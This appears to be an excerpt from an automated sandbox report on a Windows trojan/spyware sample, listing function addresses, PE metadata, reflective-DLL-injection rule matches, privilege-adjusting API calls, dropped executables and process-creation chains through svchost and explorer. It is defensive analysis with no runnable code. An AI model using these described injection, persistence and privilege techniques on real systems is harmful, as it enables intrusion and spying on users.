Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B830D030	9_2_00007FF8B830D030
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B83900BC	9_2_00007FF8B83900BC
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B831D120	9_2_00007FF8B831D120
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B8303274	9_2_00007FF8B8303274
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B8321200	9_2_00007FF8B8321200
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B83262D0	9_2_00007FF8B83262D0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B830C360	9_2_00007FF8B830C360
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B8310300	9_2_00007FF8B8310300
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B8308310	9_2_00007FF8B8308310
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B830233C	9_2_00007FF8B830233C
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B8322384	9_2_00007FF8B8322384
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B832C429	9_2_00007FF8B832C429
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B830F520	9_2_00007FF8B830F520
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B831F5A4	9_2_00007FF8B831F5A4
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B83116D0	9_2_00007FF8B83116D0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B8342740	9_2_00007FF8B8342740
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B83026F8	9_2_00007FF8B83026F8
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B8308854	9_2_00007FF8B8308854
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B83128B0	9_2_00007FF8B83128B0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8BFB63CF0	9_2_00007FF8BFB63CF0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8BFB637B0	9_2_00007FF8BFB637B0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8BFB61A80	9_2_00007FF8BFB61A80
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8BFB6521C	9_2_00007FF8BFB6521C
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8BFB62630	9_2_00007FF8BFB62630
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8BFB61A80	9_2_00007FF8BFB61A80
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8BFB63140	9_2_00007FF8BFB63140
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8BFB62D30	9_2_00007FF8BFB62D30
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8BFB76AE4	9_2_00007FF8BFB76AE4
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8BFB72DD0	9_2_00007FF8BFB72DD0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8BFB971CC	9_2_00007FF8BFB971CC
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8BFB9D130	9_2_00007FF8BFB9D130
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BECFBA0	10_2_00007FF69BECFBA0
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BEE14C8	10_2_00007FF69BEE14C8
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BEDE470	10_2_00007FF69BEDE470
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BEE1B8C	10_2_00007FF69BEE1B8C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BED5B88	10_2_00007FF69BED5B88
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BECF204	10_2_00007FF69BECF204
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BEE49B0	10_2_00007FF69BEE49B0
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BED38B4	10_2_00007FF69BED38B4
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BED8848	10_2_00007FF69BED8848
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BEE17DC	10_2_00007FF69BEE17DC
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BEDD744	10_2_00007FF69BEDD744
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BEE3EE4	10_2_00007FF69BEE3EE4
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BEE3690	10_2_00007FF69BEE3690
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BED5E20	10_2_00007FF69BED5E20
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BEDDD68	10_2_00007FF69BEDDD68
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68396E23C	11_2_00007FF68396E23C
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68396E7CC	11_2_00007FF68396E7CC
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6838DC824	11_2_00007FF6838DC824
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683970CD8	11_2_00007FF683970CD8
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68396EB30	11_2_00007FF68396EB30
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6838DCDD2	11_2_00007FF6838DCDD2
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683958D94	11_2_00007FF683958D94
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6839712A4	11_2_00007FF6839712A4
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68396773C	11_2_00007FF68396773C
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6838DD690	11_2_00007FF6838DD690
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68396FA1C	11_2_00007FF68396FA1C
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683951ED0	11_2_00007FF683951ED0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6838F3E20	11_2_00007FF6838F3E20
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6839684A0	11_2_00007FF6839684A0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68391E270	11_2_00007FF68391E270
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68394E284	11_2_00007FF68394E284
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6838C8218	11_2_00007FF6838C8218
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6839501B0	11_2_00007FF6839501B0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683912930	11_2_00007FF683912930
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6838EC830	11_2_00007FF6838EC830
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6839507F8	11_2_00007FF6839507F8
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68392C750	11_2_00007FF68392C750
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683960638	11_2_00007FF683960638
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68395E688	11_2_00007FF68395E688
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68395860C	11_2_00007FF68395860C
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68395A610	11_2_00007FF68395A610
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683948594	11_2_00007FF683948594
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6838EACF0	11_2_00007FF6838EACF0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683906AE0	11_2_00007FF683906AE0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683966AD0	11_2_00007FF683966AD0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68395EB1C	11_2_00007FF68395EB1C
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683926B20	11_2_00007FF683926B20
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683954A7C	11_2_00007FF683954A7C
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683961040	11_2_00007FF683961040
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683964E54	11_2_00007FF683964E54
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6838D2E8C	11_2_00007FF6838D2E8C
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683962DE8	11_2_00007FF683962DE8
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68396CE34	11_2_00007FF68396CE34
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6839474C0	11_2_00007FF6839474C0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683949498	11_2_00007FF683949498
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6838F94A0	11_2_00007FF6838F94A0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683919370	11_2_00007FF683919370
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6839472BC	11_2_00007FF6839472BC
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6838CD31C	11_2_00007FF6838CD31C
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683962DE8	11_2_00007FF683962DE8
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68395F19C	11_2_00007FF68395F19C
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6838CB874	11_2_00007FF6838CB874
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6839637E8	11_2_00007FF6839637E8
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683951810	11_2_00007FF683951810
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6839476C4	11_2_00007FF6839476C4
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68392F730	11_2_00007FF68392F730
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6838EB6B0	11_2_00007FF6838EB6B0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6838C56A0	11_2_00007FF6838C56A0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6839595D4	11_2_00007FF6839595D4
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683947D08	11_2_00007FF683947D08
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683961B60	11_2_00007FF683961B60
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683937B50	11_2_00007FF683937B50
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6839699F4	11_2_00007FF6839699F4
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6839679B8	11_2_00007FF6839679B8
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6838C6060	11_2_00007FF6838C6060
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68394808C	11_2_00007FF68394808C
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6838FBFE0	11_2_00007FF6838FBFE0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683903FB0	11_2_00007FF683903FB0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6838DDED0	11_2_00007FF6838DDED0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68390FEC0	11_2_00007FF68390FEC0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683939F20	11_2_00007FF683939F20
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68395FF30	11_2_00007FF68395FF30
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6838CDE8C	11_2_00007FF6838CDE8C
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683939EB0	11_2_00007FF683939EB0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683955DC4	11_2_00007FF683955DC4
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683937DD0	11_2_00007FF683937DD0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68394DD78	11_2_00007FF68394DD78

Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: String function: 00007FF795D2DFBC appears 106 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF69BECDFBC appears 106 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF60BF9DFBC appears 106 times
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: String function: 00007FF7CA7925F0 appears 100 times
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: String function: 00007FF7CA792760 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: String function: 00007FF6838EF7E0 appears 332 times
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: String function: 00007FF6838F61B0 appears 37 times
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: String function: 00007FF683907670 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: String function: 00007FF6838F6220 appears 83 times
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: String function: 00007FF6838D7150 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: String function: 00007FF6838EF6F0 appears 449 times
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: String function: 00007FF6838EF9A0 appears 44 times
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: String function: 00007FF6839075A0 appears 41 times
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: String function: 00007FF6838CA7DC appears 56 times
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: String function: 00007FF68396CC4C appears 73 times
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: String function: 00007FF68393A4EC appears 38 times
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: String function: 00007FF6838EF830 appears 52 times
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: String function: 00007FF60E62DFBC appears 106 times

Source: api-ms-win-crt-time-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processenvironment-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-2-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.6.dr	Static PE information: No import functions for PE file found

Source: 52kYJGCon6.exe	Binary or memory string: OriginalFilename vs 52kYJGCon6.exe
Source: 52kYJGCon6.exe, 00000000.00000003.2088246480.00000292ECAA0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameServices.exe2 vs 52kYJGCon6.exe
Source: 52kYJGCon6.exe, 00000000.00000000.2077628767.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameServices.exe2 vs 52kYJGCon6.exe
Source: 52kYJGCon6.exe	Binary or memory string: OriginalFilenameServices.exe2 vs 52kYJGCon6.exe

Source: 3.3.explorer.exe.caf63f0.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 3.2.explorer.exe.caf63f0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 3.2.explorer.exe.caf63f0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 3.2.explorer.exe.8b70535.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 3.3.explorer.exe.caf63f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 3.3.explorer.exe.caf63f0.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 3.2.explorer.exe.8b70535.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 3.3.explorer.exe.caf63f0.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 3.2.explorer.exe.10a50000.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 3.3.explorer.exe.caf63f0.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 3.3.explorer.exe.caf63f0.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 3.2.explorer.exe.10a50000.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 11.0.tmp1946.exe.7ff6838c0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 11.2.tmp1946.exe.7ff6838c0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@17/97@0/1

Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe

Code function: 6_2_00007FF7CA7929E0 GetLastError,FormatMessageW,MessageBoxW,

6_2_00007FF7CA7929E0

Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D3060C GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,CloseHandle,AdjustTokenPrivileges,CloseHandle,	0_2_00007FF795D3060C
Source: C:\Windows\explorer.exe	Code function: 3_2_10A52EE0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,OpenProcess,OpenProcess,CloseHandle,	3_2_10A52EE0
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E63060C GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,CloseHandle,AdjustTokenPrivileges,CloseHandle,	4_2_00007FF60E63060C
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFA060C GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,CloseHandle,AdjustTokenPrivileges,CloseHandle,	5_2_00007FF60BFA060C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BED060C GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,CloseHandle,AdjustTokenPrivileges,CloseHandle,	10_2_00007FF69BED060C

Source: C:\Users\user\Desktop\52kYJGCon6.exe

Code function: 0_2_00007FF795D30E78 CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,wcscmp,OpenProcess,TerminateProcess,CloseHandle,Process32NextW,CloseHandle,

0_2_00007FF795D30E78

Source: C:\Users\user\Desktop\52kYJGCon6.exe

File created: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859

Jump to behavior

Source: C:\Windows\System32\svchost.exe

Mutant created: \Sessions\1\BaseNamedObjects\GqgWzd

Source: C:\Users\user\Desktop\52kYJGCon6.exe

File created: C:\Users\user\AppData\Local\Temp\TH2200.tmp

Jump to behavior

Source: 52kYJGCon6.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\svchost.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\52kYJGCon6.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 52kYJGCon6.exe	ReversingLabs: Detection: 65%
Source: 52kYJGCon6.exe	Virustotal: Detection: 46%

Source: tmp1946.exe

String found in binary or memory: /add

Source: C:\Users\user\Desktop\52kYJGCon6.exe

File read: C:\Users\user\Desktop\52kYJGCon6.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\52kYJGCon6.exe "C:\Users\user\Desktop\52kYJGCon6.exe"
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe "C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe"
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Source: C:\Windows\System32\svchost.exe	Process created: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe "C:\Users\user\AppData\Local\Temp\tmp8AEF.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe "C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe"
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Process created: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe "C:\Users\user\AppData\Local\Temp\tmp8AEF.exe"
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Source: C:\Windows\System32\svchost.exe	Process created: C:\Users\user\AppData\Local\Temp\tmp1946.exe "C:\Users\user\AppData\Local\Temp\tmp1946.exe"
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe "C:\Users\user\AppData\Local\Temp\tmp8AEF.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Users\user\AppData\Local\Temp\tmp1946.exe "C:\Users\user\AppData\Local\Temp\tmp1946.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe "C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe"	Jump to behavior
